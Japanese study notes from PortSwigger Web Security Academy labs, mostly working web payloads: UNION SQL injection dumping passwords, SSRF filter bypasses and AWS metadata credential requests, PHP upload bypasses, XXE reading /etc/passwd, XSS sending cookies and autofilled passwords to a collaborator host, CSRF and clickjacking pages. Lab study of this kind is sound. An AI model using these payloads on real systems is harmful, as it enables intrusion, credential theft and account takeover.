🤖

web security academy

2022/06/05に公開

SQLi

/filter?category=Gifts%27+or+1=1--

ユーザー名administrator'--

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

UNIONが成立する条件2個

個々の問い合わせは、同じ数の列を返さなければならない。
各列のデータ型は、個々のクエリ間で互換性がなければならない。

カラム数を調べる方法

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

The ORDER BY position number 3 is out of range of the number of items in the select list.

このようなエラーが出るとカラムがないことがわかる。

order by は、カラム名で指定できるので、名前を知っている必要はない

もしくは、NULL値を変える

SELECTクエリから返される値としてNULLを使用する理由は、各列のデータ型が元のクエリと注入されたクエリの間で互換性がある必要があるからです

1,2,3,4よりNULLのほうがベター

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

category=Food+%26+Drink'+order+by+3--

GET /filter?category=Food+%26+Drink'+union+select+null,null,null--

オラクルの場合は、table名を指定する必要があるのでdualを指定する。

' UNION SELECT NULL FROM DUAL--

チートシート

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQLインジェクションUNION攻撃で有用なデータ型を持つカラムを探す

必要な列の数を決定した後、各列に文字列値を順番に配置する一連のUNION SELECTペイロードを送信する

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

データを取得する

UNION SELECT username, password FROM users--

GET /filter?category=Gifts'+union+select+username,password+from+users--

単一のカラムの時は、連結することができる。

UNION SELECT ユーザー名 || '~' || パスワード FROM users--

GET /filter?category=Food+%26+Drink'+union+select+null,username||'*'||password+from+users--

administrator*yzdnt6fli8gou9epevdc

https://portswigger.net/web-security/sql-injection/cheat-sheet

データベースの調査

データベースのバージョンの詳細を照会することができます。この方法はデータベースの種類によって異なるため、どの方法が有効であるかによって、データベース の種類を推測することができます。

Database type Query
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

unionと組み合わせて使う方法

' UNION SELECT @@version--

どのデータベース・テーブルが存在し、どのカラムを含んでいるかを確認することもできます。例えば、ほとんどのデータベースでは、以下のクエリを実行してテーブルをリストアップすることができます。

SELECT * FROM information_schema.tables

SSRF

stockApi=http://localhost/admin/delete?username=carlos

SSRFのIPアドレススキャン

intruderを使用

1のところをadd$する

payloadタブに切り替えて、payload typeをnumberにする。

  1. [ペイロード]タブに切り替え、ペイロードタイプを[数値]に変更し、[開始]ボックスと[終了]ボックスと[ステップ]ボックスにそれぞれ1、255、1を入力します。
  2. 「攻撃開始」をクリックします。

  1. [ステータス]列をクリックして、ステータスコードの昇順で並べ替えます。管理インターフェースを示す、ステータスが200の単一のエントリが表示されます。

ブラックリスト回避

127.0.0.1

https://www.ipaddressguide.com/ip

  • 2130706433, 017700000001, or 127.1.

127.0.0.1に解決される独自のドメイン名を登録する。spoofed.burpcollaborator.netを使用することができます。

URLエンコーディングや大文字小文字の違いを利用して、ブロックされた文字列を難読化する。

stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

ホワイトリスト回避

  • 文字を使用して、ホスト名の前のURLにクレデンシャルを埋め込むことができます@。例えば:

    https://expected-host@evil-host
    
  • この文字を使用して#、URLフラグメントを示すことができます。例えば:

    https://evil-host#expected-host
    
  • DNS命名階層を利用して、必要な入力を、制御する完全修飾DNS名に配置できます。例えば:

    https://expected-host.evil-host
    

オープンリダイレクトを使う

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin

EC2内のインスタンスメタデータのエンドポイント

169.254.169.254

ファイルアップロード

<?php echo file_get_contents('/path/to/target/file'); ?>

Content-Typeimage/jpegに変更

exploit.php.jpg

exploit.php.

exploit.p.phphp

filename="exploit.php%00.jpg"

ポリグロットPHP/JPGファイル

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php

PUTで送れる場合もある

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

XXE

POST /Vuln HTTP/1.1
Content-Type: text/xml

<!DOCTYPE name [
<!ENTITY kkk SYSTEM "file:///etc/passwd">
]>
<name>ooo&kkk;</name>

外部実体の宣言はSYSTEMキーワードを使用し、実体の値を読み込むべきURLを指定する

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

攻撃例

リクエスト

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

改ざん

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>

EC2に対してのXXEとSSRF

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>2&xxe;</productId><storeId>1</storeId></stockCheck>

Xinclude

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

SVGがアップロードされる際に、XXEできる

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection

</svg>の下には、スペースがいる

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

XSS

'"><s>aaa
<img/src/onerror=alert()>
/ は、スペースと同等
<img src=/ onerror="alert('xss')">
'"></script></textarea><svg/onload=confirm(1228)> 
<svg/onload=confirm(1228)//
fullname=kz'"></script></textarea><svg/onload=confirm(44)><<script></script>svg/onload=confirm(45)><<a|asvg/onload=confirm(46)>

クロスサイトは、print()

C2 サーバを待ち受けといて、cookieを取る方法

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

password自動補助機能がある際に、刺さる可能性がある方法

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Stored xss と csrfを合わせて、mail adressを変更する

答え

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

https://qiita.com/ShinyaKato/items/64b6726c361f5377b0f3

https://developer.mozilla.org/ja/docs/Web/API/XMLHttpRequest/send

試したコード
var req = new XMLHttpRequest();

req.onreadystatechange = function(){
  if (req.readyState == 4){
  	console.log("bb");
  	console.log(this.responseText.match(/name="csrf" value="(\w+)"/)[1]);
  	console.log(this.responseText.match(/name="csrf" value="(\w+)"/));
  	console.log(this.responseText.match(/name="csrf"/));
  }
}
req.open('get','/my-account',true);
req.send();

ブラックリストのタグ回避

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

copy tags to clipboard

タグの調査

paste

bodyタグのイベント調査

<iframe src="https://0afe000b04c30563c06abaf8002a009b.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

カスタムタグ

exploitサーバにカスタムタグ貼り付け

<script>
location='https://0abb00400496b56dc1ab093400240092.web-security-academy.net/?search=<xss+id=x+onfocus=alert(document.cookie)+tabindex=1>#x';
</script>

svgでのxss

上の、intruderを使ったxssと変わらない

GET /?search="><svg><animatetransform%20onbegin=alert(1)> 

タグの途中でのXSS

" autofocus onfocus=alert(document.domain) x="
" onmouseover="alert()

href でのXSS

<a href="javascript:alert(document.domain)">

カノニカルパス

https://your-lab-id.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
   <link rel="canonical" href='https://0a0e003d04e3e664c0beb47000e7004a.web-security-academy.net/?'accesskey='x'onclick='alert(1)'/>

トリガー(chromeのみ)

    On Windows: ALT+SHIFT+X
    On MacOS: CTRL+ALT+X
    On Linux: Alt+X

scriptタグ内のXSS

単純に閉じてあげる

</script><img src=1 onerror=alert(document.domain)>
GET /?search=</script><img/src/onerror=alert()> 
文字列リテラルから抜け出す

'-alert(document.domain)-'
';alert(document.domain)//
GET /?search=';alert(document.domain)//

シングルクォートをバックスラッシュでエスケープすることで、入力がJavaScriptの文字列から外れるのを防ごうとするものがあります


その場合は、下を使う

\';alert(document.domain)//

HTMLエンコーディングの利用

&apos;-alert(document.domain)-&apos;
http://foo?&apos;-alert(1)-&apos;

&apos;シーケンスは、アポストロフィまたはシングルクォートを表すHTMLエンティティです。ブラウザは、JavaScriptが解釈される前にonclick属性の値をHTMLデコードするので、エンティティは引用符としてデコードされ、それが文字列区切りとなり、その結果、攻撃が成功するのです。

 onclick="var tracker={track(){}};tracker.track('http://1234');


javascriptのテンプレート

document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;

下を埋め込む

${alert(document.domain)}


DOM XSS

https://portswigger.net/web-security/cross-site-scripting/dom-based#which-sinks-can-lead-to-dom-xss-vulnerabilities

ソース

location.search
document.referrer 
document.cookie

シンク

eval()
document.body.innerHTML 

基本的に、DOM ベースの脆弱性は、ウェブサイトがデータをソースからシンクに渡し、シンクがクライアントのセッションのコンテキストで安全でない方法でデータを処理するときに発生します。

https://code.google.com/archive/p/domxsswiki/wikis/FindingDOMXSS.wiki

https://github.com/wisec/domxsswiki/wiki

Regular Expressions
Finding Sources

The following regular expression attempts to match most common DOMXSS sources (BETA):

/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)/
Finding Sinks

The following regular expression attempts to match most common DOMXSS sinks (BETA):

/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/

This regular expression finds sinks based on jQuery, it also finds the $ function, which is not always insecure:

/after\(|\.append\(|\.before\(|\.html\(|\.prepend\(|\.replaceWith\(|\.wrap\(|\.wrapAll\(|\$\(|\.globalEval\(|\.add\(|jQUery\(|\$\(|\.parseHTML\(/ 

Directory traversal

....//
....\/
%2e%2e%2f
%252e%252e%252f
..%c0%af
..%ef%bc%8f
../../../etc/passwd%00.png

オープンリダイレクト

DOM base

????sink

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

CSRF

SameSiteCookieでも防御

このSameSite属性を使用して、クロスサイトリクエストでCookieを送信するかどうかとその方法を制御できます

Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
SameSiteの値 意味
Strict 他のドメインへのリクエストを送る際、Strict が指定されたクッキーはセットされません。例えば、Aサイトでログイン中だった場合に、Bサイト上に用意されたAサイトへのリンクをクリックした場合、Aサイトにクッキーが送られませんので、Aサイトに対して未ログイン状態の扱いでページの遷移が行われます。当然、この動作は不便な面もあります。Lax よりセキュリティが高いので、銀行サイトなどでは有効な値です。
Lax top-level navigation(*1) で、且つ GETメソッドであれば、他のドメインへのリクエストであってもクッキーをセットします。例えば、Aサイトでログイン中だった場合に、Bサイト上に用意されたAサイトへのリンクをクリックした場合、ログイン状態でページの遷移が行われます。POSTメソッドを使ったフォーム、imgタグ、iframe、XMLHttpRequests などによる他ドメインへのリクエストにはクッキーはセットされません。Strict より条件が緩い(lax)です。通常は、こちらを使うことになるでしょう。
None 従来どおりの動作(クッキーを送る)
<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

burpでは、CSRFpoc ジェネレータがある。

proじゃない場合は組み立てる

<form method="$method" action="$url">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
        document.forms[0].submit();
</script>

GETにリクエストを変えてみると検証されないこともある。

クリックジャッキング

<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://vulnerable-website.com">
	</iframe>
</body>

typoraでも試せる

<iframe id="target_website" src="https://0a0d00820304dd2cc0525a9100d70064.web-security-academy.net/my-account?id=wiener">

DOM

DOMベースの脆弱性 シンクの例
DOM XSS document.write()
オープンリダイレクト window.location
クッキー操作 document.cookie
JavaScriptインジェクション eval()
ドキュメントドメインの操作 document.domain
WebSocket-URLポイズニング WebSocket()
リンク操作 element.src
Webメッセージの操作 postMessage()
Ajaxリクエストヘッダーの操作 setRequestHeader()
ローカルファイルパス操作 FileReader.readAsText()
クライアント側のSQLインジェクション ExecuteSql()
HTML5-ストレージ操作 sessionStorage.setItem()
クライアント側のXPathインジェクション document.evaluate()
クライアント側のJSONインジェクション JSON.parse()
DOM-データ操作 element.setAttribute()
サービス拒否 RegExp()

TIPS

Command+Alt+F で chromeで jsのコードが検索できる

Discussion